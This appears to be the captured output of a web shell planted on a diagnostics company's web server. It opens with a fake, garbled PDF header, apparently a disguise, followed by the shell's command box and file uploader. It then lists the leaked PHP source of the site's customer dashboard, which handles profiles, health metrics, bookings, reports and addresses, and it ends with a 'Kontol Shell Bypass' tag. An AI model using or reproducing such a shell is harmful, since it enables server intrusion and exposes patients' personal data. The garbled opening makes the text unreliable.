%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardadiagnostics.in/application/views/templates/redlabel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardadiagnostics.in/application/views/templates/redlabel/dashboard.php
<?php 
// Order Status
$order_status = unserialize(ORDER_STATUS);
// Calculate Profile Completeness
$completeness = 0;
if($user_details['name']<>''){ $completeness = $completeness+10; }
if($user_details['email']<>''){ $completeness = $completeness+20; }
if($user_details['profile_image']<>''){ $completeness = $completeness+20; }
if($user_details['age']<>''){ $completeness = $completeness+10; }
if($user_details['gender']<>''){ $completeness = $completeness+10; }
if($user_details['blood_group']<>''){ $completeness = $completeness+15; }
if($user_details['weight']<>''){ $completeness = $completeness+15; }

$heightArray = unserialize($user_details['height']);
// Calculate the height
// 5 feet × 12 inches/foot = 60 inches
if($heightArray['feet']>0){
	$feetToinches = 	$heightArray['feet']*12;
}
$inches = $heightArray['inches'];
$totalInches = $inches;
if($feetToinches>0){
	$totalInches = $totalInches+$feetToinches;
}

//Convert inches to cm: 62 inches × 2.54 cm/inch = 157.48 cm 
$heightInCM = 0;
if($totalInches>0){
 $heightInCM = ($totalInches*2.54);
}
// Weight
$weight = $user_details['weight'];

// Calculate BMI
$bmiHeight = $heightInCM/100;
$bmiScore = round(($weight/($bmiHeight*$bmiHeight)),2);
$bmiScore = $bmiScore >0 ? $bmiScore : '0'; 
// Calculate BMR
// Metric BMR formula for men :: BMR = (10 × weight in kg) + (6.25 × height in cm) − (5 × age in years) + 5
$bmr_calculation = 0;
if($user_details['gender']=='Male' && $user_details['age']>0 && $heightInCM>0 && $weight>0) { 
	$bmr_calculation = round(((10 * $weight) + (6.25 * $heightInCM)-(5 * $user_details['age']) + 5),2);
}
//Metric BMR formula for women :: BMR = (10 × weight in kg) + (6.25 × height in cm) − (5 × age in years) − 161
if($user_details['gender']=='Female' && $user_details['age']>0 && $heightInCM>0 && $weight>0) { 
	$bmr_calculation = round(((10 * $weight) + (6.25 * $heightInCM)-(5 * $user_details['age'])-161),2);
}

?>
<?php   
	$genderArray = getCommonArray('tbl_title_master','id,gender', array('status'=>'1')); 
	$fullGArray = array('M'=>"Male",'F'=>"Female",'B'=>"Born Baby",'O'=>"Others");				   
	foreach($genderArray as $row) {
			$finalGArray[$row['id']] = $fullGArray[$row['gender']];
	}
?>
<div class="container profileBox">                
	<div class="innerProf">       
	 
		<div class="profileLeft">
			<?php 
			$profile_image=$user_details['profile_image'];
			?>
			<div class="profImg"> <span id="myProfileImage"> <?php if($profile_image) { ?> 
			<img src="<?=$profile_image;?>" class="img-circle" height="130px" /><?php }
			else { ?> <img src="<?=base_url('assets/imgs/user-default.jpg'); ?>" class="img-circle" height="130px" /> <?php } ?></span>
				<div class="choose-file">
					<div class="choose-btn">Choose Image</div>
					<input type="file" id="file" name='file' onChange=" return uploadProfileImage();">
					<input type="hidden" id="filecount" value='0'>
				</div>
			</div>
			<div class="profList">
				<h2><?=$user_details['name']?></h2>
				<ul>
				   <?php if($user_details['age']>0) {  ?> <li>Age : <?=$user_details['age']?> </li> <?php } ?>
				   
				  <?php if($user_details['gender']<>'') { ?>  <li> Gender : <?php echo $finalGArray[$user_details['gender']]; ?> </li> <?php } ?>
				</ul>
				<div class="profComplet">
					<div class="progress-txt"><span class="comp">Profile Completeness <span>(<?=$completeness?>%)</span></span> <?php if($completeness!=100){?><a href="<?=base_url() ?>dashboard" class="pull-right">Complete</a> <?php } ?> </div>
					<div class="progress">
					<div class="progress-bar" role="progressbar" aria-valuenow="<?=$completeness?>"
					aria-valuemin="0" aria-valuemax="100" style="width:<?=$completeness?>%">
					</div>
					</div>
					
					<div class="clear"></div>                          
				</div>
			</div>
		</div>
		<div class="profileRight">
			<a href="javvascript:void(0)" class="profEdit">Edit Profile</a>
			<div class="clear"></div>
			<div class="profSocial">
				<!-- <h3>Share your profile :</h3>
				<ul>
					<li class="fb"><a href=""><i class="fa fa-facebook"></i></a></li>
					<li class="twit"><a href=""><i class="fa fa-twitter"></i></a></li>
					<li class="gPlus"><a href=""><i class="fa fa-google-plus"></i></a></li>
				</ul> -->
			</div>                    
		</div>
		<div class="clear"></div>
	</div>
</div>

		
              

	<div id="profile-tabs" class="container prof_lftSideBar">
	<div class="row">
	<div class="col-md-9">
	<!-- Nav tabs --><div class="profile-left-panel">
	<ul class="nav nav-tabs" role="tablist">
	<li role="presentation" <?php if(empty($action)){ ?>class="active" <?php } ?> id="mydashboard"><a href="#dashboard" aria-controls="dashboard" role="tab" data-toggle="tab">Dashboard</a></li>
	<li role="presentation" <?php if($action=='booking'){ ?>class="active" <?php } ?> id="mybookings"><a href="#bookings" aria-controls="bookings" role="tab" data-toggle="tab">Bookings</a></li>
	<li role="presentation" <?php if($action=='report'){ ?>class="active" <?php } ?> id="myreport"><a href="#report" aria-controls="report" role="tab" data-toggle="tab">My Report</a></li>
	<li role="presentation" <?php if($action=='address'){ ?>class="active" <?php } ?> id="myaddress"><a href="#address" aria-controls="address" role="tab" data-toggle="tab">My Address</a></li>
	</ul>
	
	<!-- Tab panes -->
	<div class="tab-content">
	<div role="tabpanel" class="tab-pane <?php if($action==''){ ?>active<?php } ?>" id="dashboard">
	<div class="inerDasboard">
		<h3>Profile Details <a href="javascript:void(0)" class="profEdit">Edit Profile</a></h3>
		<form method="post" action="" id="edit_profile" name="edit_profile" > 
			<div class="dasboardForm">
			<div class="fillingBox"><label>Full Name </label><p>
			<span class="user-data">: <?=$user_details['name']?></span>
			<span class="user-input"><input type="text" name="full_name" id="full_name" value="<?=$user_details['name']?>"></span></p></div>
			
				<div class="fillingBox"><label>Blood Group</label>
					<p>
					<span class="user-data">: <?=$user_details['blood_group']?></span>
					<span class="user-input"> 
						<select class="bloodGroup" name="bloodgroup" id="bloodgroup">
						<option value="">Select Blood group</option>
						<option value="O+" <?php if($user_details['blood_group']=='O+'){ echo 'selected = "selected" '; } ?>>O +ve</option>
						<option value="O-" <?php if($user_details['blood_group']=='O-'){ echo 'selected = "selected" '; } ?>>O -ve</option>
						<option value="A+" <?php if($user_details['blood_group']=='A+'){ echo 'selected = "selected" '; } ?>>A +ve</option>
						<option value="A-" <?php if($user_details['blood_group']=='A-'){ echo 'selected = "selected" '; } ?>>A -ve</option>
						<option value="B+" <?php if($user_details['blood_group']=='B+'){ echo 'selected = "selected" '; } ?>>B +ve</option>
						<option value="B-" <?php if($user_details['blood_group']=='B-'){ echo 'selected = "selected" '; } ?>>B -ve</option>
						<option value="AB+" <?php if($user_details['blood_group']=='AB+'){ echo 'selected = "selected" '; } ?>>AB +ve</option>
						<option value="AB-" <?php if($user_details['blood_group']=='AB-'){ echo 'selected = "selected" '; } ?>>AB -ve</option>
						</select>
						</span></p>
				</div>
				
				<div class="fillingBox"><label>Age</label><p>
				<span class="user-data">: <?=$user_details['age']?></span>
				<span class="user-input"><input type="text" name="age" id="age" value="<?=$user_details['age']?>"></span></p></div>
				
				<div class="fillingBox"><label>Gender</label><p>
				<span class="user-data">: <?php echo $finalGArray[$user_details['gender']]; ?></span>
			<span class="user-input"> 
				<span><input type="radio" name="gender" value="Male" <?php if($user_details['gender']=='1') { echo 'checked="checked"'; } ?>> Male</span><span> <input type="radio" name="gender" value="Female" <?php if($user_details['gender']=='2') { echo 'checked="checked"'; }?>> Female</span></span></p></div>
				
				<div class="fillingBox"><label>Email</label><p>
				<span class="user-data">: <?=$user_details['email']?></span>
				<span class="user-input">
				<?php if($_SESSION['logged_user']['email']<>''){ ?><?=$_SESSION['logged_user']['email'] ?> <?php } else { ?> <input type="email" name="email" id="email" value=""><?php } ?></span></p>
					
				</div>
				<div class="fillingBox"><label>Mobile</label><p>
				<span class="user-data">: <?=$user_details['phone']?></span>
				<span class="user-input">
					<?=$_SESSION['logged_user']['phone'] ?></span></p>
					<span class="noVerify" style="display:none;">
						<svg enable-background="new 0 0 512 512" id="Layer_1" version="1.1" viewBox="0 0 512 512" xml:space="preserve">
						<path d="M257.338,166.245c16.297,0,29.52-13.223,29.52-29.52c0-16.317-13.223-29.501-29.52-29.501   c-16.298,0-29.52,13.185-29.52,29.501C227.818,153.022,241.04,166.245,257.338,166.245z" />
						<polygon points="277.383,205.605 277.383,195.265 277.383,185.925 218.343,185.925 218.343,205.605    238.023,205.605 238.023,372.885 218.343,372.885 218.343,392.565 297.063,392.565 297.063,372.885 277.383,372.885  "/>
						<path d="M256.108,9.65c-135.857,0-246,110.143-246,246c0,135.877,110.143,246,246,246   c135.857,0,246-110.123,246-246C502.108,119.793,391.966,9.65,256.108,9.65z M256.108,481.97   c-124.797,0-226.32-101.533-226.32-226.32S131.312,29.33,256.108,29.33c124.797,0,226.32,101.533,226.32,226.32   S380.905,481.97,256.108,481.97z" />
						</svg> Verify Now
					</span>
					<span class="verify" >
						<svg enable-background="new 0 0 128 128" id="Layer_1" version="1.1" viewBox="0 0 128 128" xml:space="preserve">
						<path d="M85.263,46.49L54.485,77.267L42.804,65.584c-0.781-0.782-2.047-0.782-2.828-0.002c-0.781,0.782-0.781,2.048,0,2.829    l14.51,14.513l33.605-33.607c0.781-0.779,0.781-2.046,0-2.827C87.31,45.708,86.044,45.708,85.263,46.49z M64.032,13.871    c-27.642,0-50.129,22.488-50.129,50.126c0.002,27.642,22.49,50.131,50.131,50.131h0.004c27.638,0,50.123-22.489,50.123-50.131    C114.161,36.358,91.674,13.871,64.032,13.871z M64.038,110.128h-0.004c-25.435,0-46.129-20.694-46.131-46.131    c0-25.434,20.693-46.126,46.129-46.126s46.129,20.693,46.129,46.126C110.161,89.434,89.471,110.128,64.038,110.128z"/>
						</svg> Verified
					</span>
				</div>
				<div class="fillingBox"><label>Company Name</label><p>
				<span class="user-data">: <?=$user_details['company']?></span>
				<span class="user-input">
				<input type="text" name="company_name" id="company_name"value="<?=$user_details['company']?>" ></span></p></div>
				<div class="fillingBox"><label>Health Insurance Company</label><p>
				<span class="user-data">: <?=$user_details['health_insaurance']?></span>
				<span class="user-input">
				<input type="text" name="health_inc_company" id="health_inc_company" value="<?=$user_details['health_insaurance']?>"></span></p></div>
				<div class="fillingBox"><label>Weight (kgs)</label><p>
				<span class="user-data">: <?=$user_details['weight']?></span>
				<span class="user-input">				
					<input type="text" name="weight" id="weight" value="<?=$user_details['weight']?>"></span></p></div>
				<div class="fillingBox height"><label>Height (Inches)</label>
					<p>
					<span class="user-data">:<?php if(!empty($heightArray['feet'])) { ?> <?=$heightArray['feet']?> feet <?php }  if(!empty($heightArray['inches'])){ ?><?=$heightArray['inches']?> inches <?php } ?></span>
						<span class="user-input">	
						<select name="height_feet" id="height_feet">
							<option value="">Feet</option>
							<option value="2" <?php if($heightArray['feet']=='2') { echo " selected='selected' "; }?>>2</option>
							<option value="3" <?php if($heightArray['feet']=='3') { echo " selected='selected' "; }?>>3</option>
							<option value="4" <?php if($heightArray['feet']=='4') { echo " selected='selected' "; }?>>4</option>
							<option value="5" <?php if($heightArray['feet']=='5') { echo " selected='selected' "; }?>>5</option>
							<option value="6" <?php if($heightArray['feet']=='6') { echo " selected='selected' "; }?>>6</option>
							<option value="7" <?php if($heightArray['feet']=='7') { echo " selected='selected' "; }?>>7</option>
							<option value="8" <?php if($heightArray['feet']=='8') { echo " selected='selected' "; }?>>8</option>
						</select>
						<select name="height_inches" id="height_inches">
							<option value="">Inches</option>
							<option value="0" <?php if($heightArray['inches']=='0') { echo " selected='selected' "; }?>>0</option>
							<option value="1" <?php if($heightArray['inches']=='1') { echo " selected='selected' "; }?>>1</option>
							<option value="2" <?php if($heightArray['inches']=='2') { echo " selected='selected' "; }?>>2</option>
							<option value="3" <?php if($heightArray['inches']=='3') { echo " selected='selected' "; }?>>3</option>
							<option value="4" <?php if($heightArray['inches']=='4') { echo " selected='selected' "; }?>>4</option>
							<option value="5" <?php if($heightArray['inches']=='5') { echo " selected='selected' "; }?>>5</option>
							<option value="6" <?php if($heightArray['inches']=='6') { echo " selected='selected' "; }?>>6</option>
							<option value="7" <?php if($heightArray['inches']=='7') { echo " selected='selected' "; }?>>7</option>
							<option value="8" <?php if($heightArray['inches']=='8') { echo " selected='selected' "; }?>>8</option>
							<option value="9" <?php if($heightArray['inches']=='9') { echo " selected='selected' "; }?>>9</option>
							<option value="10" <?php if($heightArray['inches']=='10') { echo " selected='selected' "; }?>>10</option>
							<option value="11" <?php if($heightArray['inches']=='11') { echo " selected='selected' "; }?>>11</option>
						</select>
						</span></p>
				</div>
				<div class="fillingBox"><label>Waist (Inches)</label><p>
				<span class="user-data">: <?=$user_details['waist']?></span>
				<span class="user-input">	
					<input type="text" name="waist" id="waist" value="<?=$user_details['waist']?>"></span></p></div>
				<div class="fillingBox lastbox">
				
				<p id="submit_div"><input type="submit" class="bookingSave" name="submit" value="Save" onclick = "return editUserProfile();"></p>
				</div>
				<div class="clear"></div>
			</div>                                        
			<div class="clear"></div>
		</form>


	</div>
		</div>
	
	<div role="tabpanel" class="tab-pane <?php if($action=='booking'){ ?>active<?php } ?>" id="bookings">
	<div class="inerBooking">
		<h3>Booking Details</h3>
		<div class="clear"></div>
		
		<?php if(count($oderArray)>0) { foreach($oderArray as $okey=>$ovalue) { ?>
		
		<div class="bookOrder">
			<div class="ordertitle">
				<h4>ORDER # <?=$ovalue['order_id']?></h4>
				<p><a href="<?=base_url().'order/'.$ovalue['order_id']?>" title="view details">View Details</a></p>
			</div>
			<div class="orderDtl">
				<ul>
					<li>ORDER PLACED <span><?=date('d M Y',strtotime($ovalue['order_date']))?></span></li>
					<li>TOTAL <span><i class="fa fa-inr"></i> <?=$ovalue['offer_price']?></span></li>
					<li>ORDER BY <span class="tooltiparea"><?=$ovalue['first_name'].' '.$ovalue['last_name']?> <i class="fa fa-angle-down"></i>
							<div class="tooltipBox">
								<h4><?=$ovalue['first_name'].' '.$ovalue['last_name']?></h4>
								<p><?=$ovalue['address'].', '.$ovalue['city'].' - '.$ovalue['post_code']?> </p>
							</div></span>
					</li>
					<li>ORDER DETAIL <span class="tooltiparea">Payment <i class="fa fa-angle-down"></i> 
							<div class="tooltipBox">
								<h4>Paymet Method: <?=$ovalue['payment_type']?></h4>
								<h4>Order Summary</h4>
								<ul>
									<li><h5>Item(s) Subtotal</h5> <p>:<?=$ovalue['our_price']?></p></li>
									<li><h5>Discount</h5> <p>:<?=$ovalue['discount']?>%</p></li>
									<li><h5>Total</h5> <p>:<?=$ovalue['offer_price']?></p></li>
									<li><h5>Grand Total</h5> <p>:<?=$ovalue['offer_price']?></p></li>
								</ul>
							</div></span>
					</li>  
					<li>ORDER STATUS <span><?=$order_status[$ovalue['order_status']]?></span></li>	
				</ul>
			</div>
		</div>
		
		<?php } } else { ?>
			<div class="bookOrder">
			<div class="ordertitle">
				<h4><span>No Booking Found</span></h4>
				
			</div>
			</div>
		<?php } ?>
		
	</div>
	<div class="clear"></div>

	</div>
		<div role="tabpanel" class="tab-pane <?php if($action=='report'){ ?>active<?php } ?>" id="report"><div class="inerBooking">
		<h3>Report</h3>
		<div class="clear"></div>
		
		<?php if(!empty($report)) { foreach($report as $key=>$rvalue) { ?>
		
		<div class="bookOrder">
			<div class="ordertitle">
				<h4><?=$rvalue['test_package_name']?></h4>
				<p><a href="<?=base_url().'attachments/user_report/'.$rvalue['report_name']?>" title="view details" target="_blank" download>Download Report</a></p>
			</div>
			<div class="orderDtl">
				<ul>
					<li>ORDER PLACED <span><?=date('d M Y',strtotime($rvalue['booking_date']))?></span></li>
					<li>Order Id <span>ORDER # <?=$rvalue['order_id']?></span></li>
					<li>ORDER BY <span class="tooltiparea"><?=$ovalue['first_name'].' '.$ovalue['last_name']?> <i class="fa fa-angle-down"></i>
							<div class="tooltipBox">
								<h4><?=$ovalue['first_name'].' '.$ovalue['last_name']?></h4>
								<p><?=$ovalue['address'].', '.$ovalue['city'].' - '.$ovalue['post_code']?> </p>
							</div></span>
					</li>
					<?php $member = $this->Public_model->getMember($rvalue['member_id'])?>
					<li>ORDER For <span><?=$member[0]['full_name']?></span></li>	
				</ul>
			</div>
		</div>
		
		<?php } } else { ?>
			<div class="bookOrder">
			<div class="ordertitle">
				<h4><span>No Report Found</span></h4>
				
			</div>
			</div>
		<?php } ?>
		
	</div>
	<div class="clear"></div>
	</div>

	<div role="tabpanel" class="tab-pane <?php if($action=='address'){ ?>active<?php } ?>" id="address">
	<div class="inerAddress">
		<h3>Address Details</h3>
		<?php $stateArray = getCommonArray('states','id,state_name', array('country_id'=>'74','status'=>'1'),array('state_name'=>'1')); 
        $stateKeyArray = array();
	    foreach($stateArray as $val) {
			$stateKeyArray[$val['id']] = $val['state_name'];
		}
		?>
		
		<?php foreach($address as $key=>$aval) { ?>
		<?php 
		$cityArray = array();
		if($aval['state']>0) { $cityArray = getCommonArray('city','id,city_name', array('state_id'=>$aval['state'],'status'=>'1'),array('city_name'=>'1')); 
			$cityKeyArray = array();
			foreach($cityArray as $val) {
				$cityKeyArray[$val['id']] = $val['city_name'];
			}
		}
		?>

		<div class="clear"></div>
		<div class="addArea">
			<p class="addDetail"><?=ucwords($aval['full_name'])?> <br /><?=ucwords($aval['house_no'])?>,<?=ucwords($aval['address'])?>, <?=ucwords($cityKeyArray[$aval['city']])?>, <?=ucwords($stateKeyArray[$aval['state']])?>, <?=ucwords($aval['pincode'])?></p>
			<p class="addEditDelet">
				<a href="javascript:void(0)" id="show_<?=$aval['address_id']?>" onclick="return editMyInfo('profNewAdd_<?=$aval['address_id']?>','<?=$aval['address_id']?>');"><i class="fa fa-pencil">Edit</i></a>
				<a href="javascript:void(0)" id="hide_<?=$aval['address_id']?>" onclick="return hideMyInfo('profNewAdd_<?=$aval['address_id']?>','<?=$aval['address_id']?>');" style="display:none;"><i class="fa fa-times">Hide</i></a>
			</p>
			<div class="clear"></div>
		</div>
		
		<div class="profNewAdd" id="profNewAdd_<?=$aval['address_id']?>" style="display:none;">
			<h2>My Address</h2>
			<form method="" action="">
				<input type="text" placeholder="Full Name" name="address_full_name<?=trim($aval['address_id'])?>" id="address_full_name<?=trim($aval['address_id'])?>" value="<?=ucwords($aval['full_name'])?>" />
				<input type="text" placeholder="Home No." name="house_no<?=trim($aval['address_id'])?>" id="house_no<?=trim($aval['address_id'])?>" value="<?=ucwords($aval['house_no'])?>" />
				<input type="text" placeholder="Address" name="full_address<?=trim($aval['address_id'])?>" id="full_address<?=trim($aval['address_id'])?>" value="<?=ucwords($aval['address'])?>" />
				<select name="state_id<?=trim($aval['address_id'])?>" class="state_id" id="state_id<?=trim($aval['address_id'])?>" required>
				<option value="">Select state</option>
				<?php foreach($stateArray as $row) { ?>
				<option value="<?=$row['id']?>" <?php if($aval['state']==$row['id']) {echo 'selected';}?>><?=$row['state_name']?></option>
				<?php } ?> 
				</select>
				
				<select name="city_id<?=trim($aval['address_id'])?>" class="city_id" id="city_id<?=trim($aval['address_id'])?>" required>
					<option value="">Select City</option>
					<?php foreach($cityArray as $row) { ?>
					<option value="<?=$row['id']?>" <?php if($aval['city']==$row['id']) {echo 'selected';}?>><?=$row['city_name']?></option>
					<?php } ?>
				</select>
				<!--<input type="text" placeholder="City" name="city<?=trim($aval['address_id'])?>" id="city<?=trim($aval['address_id'])?>" value="<?=ucwords($aval['city'])?>" />

				<input type="text" placeholder="State" name="state<?=trim($aval['address_id'])?>" id="state<?=trim($aval['address_id'])?>" value="<?=ucwords($aval['state'])?>"/> -->

				<input type="text" placeholder="Pincode" name="pincode<?=trim($aval['address_id'])?>" id="pincode<?=trim($aval['address_id'])?>" value="<?=ucwords($aval['pincode'])?>"/>
				<input type="hidden" name="current_address_key" id="current_address_key" value="<?=ucwords($aval['address_id'])?>"/>
				<input type="submit" class="addressbox" value="Save" name="save" id="save_new_address" onclick="return editMyAddress('<?=ucwords($aval['address_id'])?>');" />
			</form>
		</div>
		
		<?php } ?>
		
		<div class="clear"></div>
		<a href="javascript:void(0)" id="addNewAdd" class="addNewAdd" style='display:none;'><i class="fa fa-plus-circle"></i> Add New Address</a>
		<div class="clear"></div>
		<div class="profNewAdd" id="profNewAdd" style="display:none;">
			<h2>Add New Address</h2>
			<form method="" action="">
				<input type="text" placeholder="Full Name" name="address_full_name" id="address_full_name" />
				<input type="text" placeholder="Home No." name="house_no" id="house_no" />
				<input type="text" placeholder="Address" name="full_address" id="full_address" />
				<input type="text" placeholder="City" name="city" id="city" />
				<input type="text" placeholder="State" name="state" id="state" />
				<input type="text" placeholder="Pincode" name="pincode" id="pincode" />
				<input type="submit" class="addressbox" value="Save" name="save" id="save_new_address" onclick="return saveNewAddress();" />
			</form>
		</div>

	</div>
	<div class="clear"></div>

	</div>
	</div>
		</div>
	</div>

	<div class="col-md-3 profil_RightBar">
	<div class="prof_bmiScore">
	<h3>Your BMI Score</h3>
	<p>Add your height and weight and age to know your BMI score</p>
	<div class="clear"></div>
	<div class="scoreCount">
	<span id="bmi_score"><?=$bmiScore?></span>
	</div>
	<div class="clear"></div>    
	</div>

	<div class="prof_bmiScore">
	<h3>Your BMR Calculation</h3>
	<p>Add your height and weight and age to know your BMR score</p>
	<div class="clear"></div>
	<div class="scoreCount">
	
	<span id="bmr_score"><?=$bmr_calculation?></span>
	</div>
	<div class="clear"></div>    
	</div>
	</div>
	</div>
	</div>  
       

Kontol Shell Bypass